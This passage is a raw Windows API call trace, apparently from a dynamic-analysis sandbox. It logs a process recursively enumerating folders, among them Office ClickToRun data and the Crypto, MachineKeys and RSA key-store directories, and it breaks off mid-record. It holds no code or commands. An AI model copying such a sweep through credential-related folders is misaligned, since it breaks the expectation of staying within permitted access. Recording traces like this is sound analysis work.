lpFindFileData=0x40bf800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0197.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.223] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0197.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.224] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 0 [0197.224] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0197.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.224] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0197.227] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.227] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0197.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.229] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0197.229] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.236] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.236] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1 [0197.239] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.239] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0197.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.241] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0197.241] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.241] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1 [0197.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.243] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0197.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.246] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0197.246] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.246] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0197.247] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.247] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0 [0197.248] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0197.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.248] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0197.248] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0197.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.249] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0197.249] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.249] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.250] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0197.250] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.250] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0197.250] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.251] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.251] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0197.251] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.251] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.251] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1 [0197.253] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.253] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0197.256] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.256] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0197.256] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.256] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.256] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1 [0197.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.318] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0197.320] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.320] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0197.320] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.320] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.321] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0 [0197.321] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0197.321] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.321] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0197.321] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.321] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0197.325] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.325] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0197.325] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0197.326] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.327] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Crypto", cAlternateFileName="")) returned 1 [0197.328] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.328] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0197.329] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0197.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.329] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0197.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.329] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0197.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.329] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0 [0197.329] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0197.330] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.330] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0197.330] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.330] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0197.330] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.330] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0197.330] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.330] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.330] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, 